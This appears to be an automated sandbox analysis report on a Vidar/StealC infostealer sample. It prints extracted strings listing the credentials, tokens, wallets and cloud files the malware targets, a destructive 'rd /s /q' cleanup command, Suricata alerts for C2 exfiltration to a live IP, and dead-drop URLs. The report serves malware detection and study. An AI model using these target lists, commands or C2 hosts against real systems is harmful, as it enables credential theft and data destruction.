Source:	Binary string: cryptosetup.pdbGCTL source: Rna.com, 0000000D.00000002.2671636108.0000000005FC0000.00000004.00000800.00020000.00000000.sdmp, Rna.com, 0000000D.00000002.2664591239.000000000117A000.00000004.00000020.00020000.00000000.sdmp, mycj5f.13.dr
Source:	Binary string: cryptosetup.pdb source: Rna.com, 0000000D.00000002.2671636108.0000000005FC0000.00000004.00000800.00020000.00000000.sdmp, Rna.com, 0000000D.00000002.2664591239.000000000117A000.00000004.00000020.00020000.00000000.sdmp, mycj5f.13.dr
Source:	Binary string: C:\Users\Administrator\Desktop\vdr1\Release\vdr1.pdb source: Rna.com, 0000000D.00000003.1855893939.0000000001052000.00000004.00000020.00020000.00000000.sdmp, Rna.com, 0000000D.00000002.2664591239.000000000103E000.00000004.00000020.00020000.00000000.sdmp, Rna.com, 0000000D.00000003.1856335407.00000000010EF000.00000004.00000020.00020000.00000000.sdmp, Rna.com, 0000000D.00000003.1855727940.000000000113F000.00000004.00000020.00020000.00000000.sdmp, Rna.com, 0000000D.00000003.1856531472.0000000001081000.00000004.00000020.00020000.00000000.sdmp, Rna.com, 0000000D.00000003.1855797272.00000000010EF000.00000004.00000020.00020000.00000000.sdmp, Rna.com, 0000000D.00000002.2666157249.0000000003F71000.00000040.00001000.00020000.00000000.sdmp, Rna.com, 0000000D.00000003.1856395608.0000000001081000.00000004.00000020.00020000.00000000.sdmp, Rna.com, 0000000D.00000003.1855526842.0000000001082000.00000004.00000020.00020000.00000000.sdmp, Rna.com, 0000000D.00000003.1855595292.0000000003F74000.00000004.00000800.00020000.00000000.sdmp, Rna.com, 0000000D.00000003.1855797272.00000000010BE000.00000004.00000020.00020000.00000000.sdmp, Rna.com, 0000000D.00000003.1855662280.0000000001081000.00000004.00000020.00020000.00000000.sdmp, Rna.com, 0000000D.00000003.1856462728.00000000010EF000.00000004.00000020.00020000.00000000.sdmp, Rna.com, 0000000D.00000003.1855893939.0000000001081000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: {"id":1,"method":"Storage.getCookies"}\|.tgz.gzSecurityHistoryWork Dir: In memorySOFTWARE\Microsoft\Cryptographyfirefox%08lX%04lX%lu_key.txtSoft\Steam\steam_tokens.txt\Discord\tokens.txtpasswords.txtinformation.txtlocalhostWebSocketClient" & exitGdipGetImageHeightSoftGdipGetImagePixelFormatN0ZWFt\Monero\wallet.keysAzure\.awsstatusWallets_CreateProcessGdipGetImageEncodershttpsSoftware\Martin Prikryl\WinSCP 2\SessionsPlugins/devtoolsprefs.jsLocal Extension SettingsSync Extension SettingsFilescookiesCookies\BraveWallet\Preferenceskey_datas%s\%s\%sPortNumberCurrentBuildNumberGdiplusStartup.zipGdipCreateHBITMAPFromBitmapOpera Crypto.zooUnknownGdiplusShutdown/json_logins.jsoninvalid string positionSoftware\Martin Prikryl\WinSCP 2\ConfigurationDisplayVersionSOFTWARE\Microsoft\Windows NT\CurrentVersionopentokenamcommunity.comTelegramSoftware\Valve\SteamGdipSaveImageToStreamGdipLoadImageFromStream\AppData\Roaming\FileZilla\recentservers.xml.dllSOFTWARE\Microsoft\Windows\CurrentVersion\Uninstallapprove_aprilNetworkblock.arjprofiles.ini.lzhGdipGetImageWidthwallet_pathSteamPathscreenshot.jpgstring too longvector<T> too longProcessorNameStringloginusers.vdflibraryfolders.vdfconfig.vdfDialogConfig.vdfDialogConfigOverlay*.vdfGdipGetImageEncodersSizesteam.exeC:\Windows\system32\cmd.exeC:\Windows\system32\rundll32.exeBravetrueformhistory.sqlitecookies.sqliteplaces.sqliteLocal StatefalseAzure\.azureSOFTWARE\monero-project\monero-corechromefile_nameDisplayNameHostNameProductNameUserNameGdipSaveImageToFilemsal.cacheGdipDisposeImagemodeAzure\.IdentityServiceUseMasterPasswordhwidMachineGuidtask_idbuild_idCrash DetectedDisabled%dx%d%d/%d/%d %d:%d:%d.arcvdr1.pdb\Local Storage\leveldb_0.indexeddb.leveldb_formhistory.db_history.db_cookies.db_passwords.db_webdata.db_key4.db\key4.dbfile_dataLogin DataWeb DataoperaOperachrome-extension_[Processes][Software]\storage\default\\.aws\errors\\Telegram Desktop\\Steam\\config\\.azure\ Stable\\.IdentityService\\discord\/c timeout /t 10 & rd /s /q "C:\ProgramData\" & rd /s /q "C:\ProgramData\\..\.ZDISPLAYOpera GXEXCEPTION_INT_OVERFLOWEXCEPTION_FLT_OVERFLOWEXCEPTION_STACK_OVERFLOWEXCEPTION_FLT_UNDERFLOWPOSTEXCEPTION_BREAKPOINT\Local Storage\leveldb\CURRENTEXCEPTION_DATATYPE_MISALIGNMENTEXCEPTION_FLT_INEXACT_RESULTGETEXCEPTION_IN_PAGE_ERRORdQw4w9WgXcQEXCEPTION_SINGLE_STEPGdipCreateBitmapFromHBITMAPEXCEPTION_INT_DIVIDE_BY_ZEROEXCEPTION_FLT_DIVIDE_BY_ZEROEXCEPTION_NONCONTINUABLE_EXCEPTIONUNKNOWN EXCEPTIONEXCEPTION_INVALID_DISPOSITIONEXCEPTION_PRIV_INSTRUCTIONEXCEPTION_ILLEGAL_INSTRUCTIONEXCEPTION_FLT_INVALID_OPERATIONEXCEPTION_ACCESS_VIOLATIONEXCEPTION_FLT_STACK_CHECKEXCEPTION_FLT_DENORMAL_OPERANDEXCEPTION_ARRAY_BOUNDS_EXCEEDED%d MBIndexedDBOCALAPPDATA?<Host><Port><User><Pass encoding="base64">http://localhost:"webSocketDebuggerUrl":6^userContextId=4294967295465 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73ws://localhost:9223.metadata-v2comctl32gdi32:225121Windows 11HTTP/1.1HARDWARE\DESCRIPTION\System\CentralProcessor\0abcdefghi

Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_004062D5 FindFirstFileW,FindClose,	0_2_004062D5
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_00402E18 FindFirstFileW,	0_2_00402E18
Source: C:\Users\user\Desktop\random.exe	Code function: 0_2_00406C9B DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	0_2_00406C9B
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Code function: 13_2_00D0DC54 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	13_2_00D0DC54
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Code function: 13_2_00D1A087 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	13_2_00D1A087
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Code function: 13_2_00D1A1E2 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	13_2_00D1A1E2
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Code function: 13_2_00D0E472 lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose,	13_2_00D0E472
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Code function: 13_2_00D1A570 FindFirstFileW,Sleep,FindNextFileW,FindClose,	13_2_00D1A570
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Code function: 13_2_00D166DC FindFirstFileW,FindNextFileW,FindClose,	13_2_00D166DC
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Code function: 13_2_00CDC622 FindFirstFileExW,	13_2_00CDC622
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Code function: 13_2_00D173D4 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,FileTimeToSystemTime,	13_2_00D173D4
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Code function: 13_2_00D17333 FindFirstFileW,FindClose,	13_2_00D17333
Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com	Code function: 13_2_00D0D921 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	13_2_00D0D921

Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\190244\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\190244	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 1MB later: 39MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.8:49717 -> 5.75.214.119:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.8:49741 -> 5.75.214.119:443
Source: Network traffic	Suricata IDS: 2049087 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M1 : 192.168.2.8:49715 -> 5.75.214.119:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.8:49745 -> 5.75.214.119:443
Source: Network traffic	Suricata IDS: 2859636 - Severity 1 - ETPRO MALWARE Vidar/StealC CnC Exfil via SQL Database (POST) : 192.168.2.8:49745 -> 5.75.214.119:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.8:49748 -> 5.75.214.119:443
Source: Network traffic	Suricata IDS: 2051831 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 : 5.75.214.119:443 -> 192.168.2.8:49716
Source: Network traffic	Suricata IDS: 2859378 - Severity 1 - ETPRO MALWARE Win32/Stealc/Vidar Stealer Host Details Exfil (POST) M2 : 192.168.2.8:49713 -> 5.75.214.119:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.8:49718 -> 5.75.214.119:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.8:49747 -> 5.75.214.119:443
Source: Network traffic	Suricata IDS: 2859636 - Severity 1 - ETPRO MALWARE Vidar/StealC CnC Exfil via SQL Database (POST) : 192.168.2.8:49747 -> 5.75.214.119:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.8:49778 -> 5.75.214.119:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.8:49746 -> 5.75.214.119:443
Source: Network traffic	Suricata IDS: 2859636 - Severity 1 - ETPRO MALWARE Vidar/StealC CnC Exfil via SQL Database (POST) : 192.168.2.8:49746 -> 5.75.214.119:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.8:49791 -> 5.75.214.119:443
Source: Network traffic	Suricata IDS: 2859636 - Severity 1 - ETPRO MALWARE Vidar/StealC CnC Exfil via SQL Database (POST) : 192.168.2.8:49791 -> 5.75.214.119:443
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 5.75.214.119:443 -> 192.168.2.8:49715
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.8:49803 -> 5.75.214.119:443
Source: Network traffic	Suricata IDS: 2859636 - Severity 1 - ETPRO MALWARE Vidar/StealC CnC Exfil via SQL Database (POST) : 192.168.2.8:49803 -> 5.75.214.119:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.8:49782 -> 5.75.214.119:443
Source: Network traffic	Suricata IDS: 2859636 - Severity 1 - ETPRO MALWARE Vidar/StealC CnC Exfil via SQL Database (POST) : 192.168.2.8:49782 -> 5.75.214.119:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.8:49833 -> 5.75.214.119:443
Source: Network traffic	Suricata IDS: 2859636 - Severity 1 - ETPRO MALWARE Vidar/StealC CnC Exfil via SQL Database (POST) : 192.168.2.8:49833 -> 5.75.214.119:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.8:49851 -> 5.75.214.119:443
Source: Network traffic	Suricata IDS: 2859636 - Severity 1 - ETPRO MALWARE Vidar/StealC CnC Exfil via SQL Database (POST) : 192.168.2.8:49851 -> 5.75.214.119:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.8:49861 -> 5.75.214.119:443
Source: Network traffic	Suricata IDS: 2859636 - Severity 1 - ETPRO MALWARE Vidar/StealC CnC Exfil via SQL Database (POST) : 192.168.2.8:49861 -> 5.75.214.119:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.8:49870 -> 5.75.214.119:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.8:49874 -> 5.75.214.119:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.8:49866 -> 5.75.214.119:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.8:49876 -> 5.75.214.119:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.8:49880 -> 5.75.214.119:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.8:49882 -> 5.75.214.119:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.8:49881 -> 5.75.214.119:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.8:49883 -> 5.75.214.119:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.8:49884 -> 5.75.214.119:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.8:49872 -> 5.75.214.119:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.8:49879 -> 5.75.214.119:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.8:49867 -> 5.75.214.119:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.8:49868 -> 5.75.214.119:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.8:49873 -> 5.75.214.119:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.8:49886 -> 5.75.214.119:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.8:49877 -> 5.75.214.119:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.8:49875 -> 5.75.214.119:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.8:49871 -> 5.75.214.119:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.8:49869 -> 5.75.214.119:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.8:49885 -> 5.75.214.119:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.8:49878 -> 5.75.214.119:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: https://steamcommunity.com/profiles/76561199824159981

Source: global traffic

HTTP traffic detected: GET /sok33tn HTTP/1.1Host: t.meConnection: Keep-AliveCache-Control: no-cache

Source: Joe Sandbox View	IP Address: 2.23.209.34 2.23.209.34
Source: Joe Sandbox View	IP Address: 2.22.242.11 2.22.242.11
Source: Joe Sandbox View	IP Address: 23.219.82.75 23.219.82.75

Source: Joe Sandbox View

ASN Name: HETZNER-ASDE HETZNER-ASDE

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 52.182.143.211
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 184.30.131.245
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 184.30.131.245
Source: unknown	TCP traffic detected without corresponding DNS query: 23.200.88.34
Source: unknown	TCP traffic detected without corresponding DNS query: 23.200.88.34
Source: unknown	TCP traffic detected without corresponding DNS query: 23.200.88.34
Source: unknown	TCP traffic detected without corresponding DNS query: 23.200.88.34
Source: unknown	TCP traffic detected without corresponding DNS query: 23.200.88.34
Source: unknown	TCP traffic detected without corresponding DNS query: 13.89.179.9
Source: unknown	TCP traffic detected without corresponding DNS query: 13.89.179.9
Source: unknown	TCP traffic detected without corresponding DNS query: 13.89.179.9
Source: unknown	TCP traffic detected without corresponding DNS query: 23.200.88.34
Source: unknown	TCP traffic detected without corresponding DNS query: 18.164.116.122
Source: unknown	TCP traffic detected without corresponding DNS query: 18.164.116.122
Source: unknown	TCP traffic detected without corresponding DNS query: 18.164.116.122
Source: unknown	TCP traffic detected without corresponding DNS query: 23.200.88.34
Source: unknown	TCP traffic detected without corresponding DNS query: 13.89.179.9
Source: unknown	TCP traffic detected without corresponding DNS query: 23.200.88.34
Source: unknown	TCP traffic detected without corresponding DNS query: 18.164.116.122
Source: unknown	TCP traffic detected without corresponding DNS query: 18.164.116.122
Source: unknown	TCP traffic detected without corresponding DNS query: 13.89.179.9
Source: unknown	TCP traffic detected without corresponding DNS query: 18.164.116.122

Source: C:\Users\user\AppData\Local\Temp\190244\Rna.com

Code function: 13_2_00D1D889 InternetReadFile,SetEvent,GetLastError,SetEvent,

13_2_00D1D889

Source: global traffic	HTTP traffic detected: GET /sok33tn HTTP/1.1Host: t.meConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:136.0) Gecko/20100101 Firefox/136.0Host: vikine.restConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIW2yQEIorbJAQipncoBCOj/ygEIlKHLAQiFoM0BCNy9zQEIucrNAQiK080BCMfUzQEIodbNAQio2M0BCPnA1BUYwcvMARi60s0BGMXYzQEY642lFw==Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIW2yQEIorbJAQipncoBCOj/ygEIlKHLAQiFoM0BCNy9zQEIucrNAQiK080BCMfUzQEIodbNAQio2M0BCPnA1BUYwcvMARi60s0BGMXYzQEY642lFw==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /_/scs/abc-static/_/js/k=gapi.gapi.en.l2ZUC8FxqV8.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/rs=AHpOoo9xAAkaXO7Lqf7-9uTpZLtrkpWaXQ/cb=gapi.loaded_0 HTTP/1.1Host: apis.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CIW2yQEIorbJAQipncoBCOj/ygEIlKHLAQiFoM0BCLnKzQEIitPNARjBy8wBGMXYzQEY642lFw==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&startpage=1&PC=U531 HTTP/1.1Host: ntp.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"sec-ch-ua-platform-version: "10.0.0"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7sec-edge-ntp: {"back_block":0,"bg_cur":{},"bg_img_typ":"bing","exp":["msQuickLinksDefaultOneRow","msShoppingWebAssistOnNtp","msShoppingHistogramsOnNtp","msEnableWinHPNewTabBackButtonFocusAndClose","msCustomMaxQuickLinks","msMaxQuickLinksAt20","msAllowThemeInstallationFromChromeStore","msEdgeSplitWindowPrivateTarget","msEdgeSplitWindowLinkMode"],"feed":0,"feed_dis":"onscroll","layout":1,"quick_links_opt":1,"sel_feed_piv":"","show_greet":true,"vt_opened":false}Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/SSR-extension.b70cb75853005ad9eaf6.js HTTP/1.1Host: ntp.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-viewport-height: 876sec-ch-ua-arch: "x86"sec-ch-viewport-width: 1232sec-ch-ua-platform-version: "10.0.0"downlink: 1.5sec-ch-ua-full-version-list: "Microsoft Edge";v="117.0.2045.47", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-prefers-color-scheme: lightsec-ch-ua-platform: "Windows"device-memory: 8rtt: 100sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-full-version: "117.0.2045.47"sec-ch-dpr: 1ect: 4gAccept: /sec-edge-ntp: {"back_block":0,"bg_cur":{},"bg_img_typ":"bing","exp":["msQuickLinksDefaultOneRow","msShoppingWebAssistOnNtp","msShoppingHistogramsOnNtp","msEnableWinHPNewTabBackButtonFocusAndClose","msCustomMaxQuickLinks","msMaxQuickLinksAt20","msAllowThemeInstallationFromChromeStore","msEdgeSplitWindowPrivateTarget","msEdgeSplitWindowLinkMode"],"feed":0,"feed_dis":"onscroll","layout":1,"quick_links_opt":1,"sel_feed_piv":"","show_greet":true,"vt_opened":false}Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&startpage=1&PC=U531Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; sptmarket=en-GB\|\|us\|en-us\|en-us\|en\|\|cf=8\|RefA=4F9A001C7A8549FF8192A87DB7858DA6.RefC=2025-02-07T16:44:07Z; USRLOC=; MUID=16F3E7E4A92E6FCB3913F268A8A46EEA; MUIDB=16F3E7E4A92E6FCB3913F268A8A46EEA; _EDGE_S=F=1&SID=3186ECCFD82E68EB245BF943D9146971; _EDGE_V=1
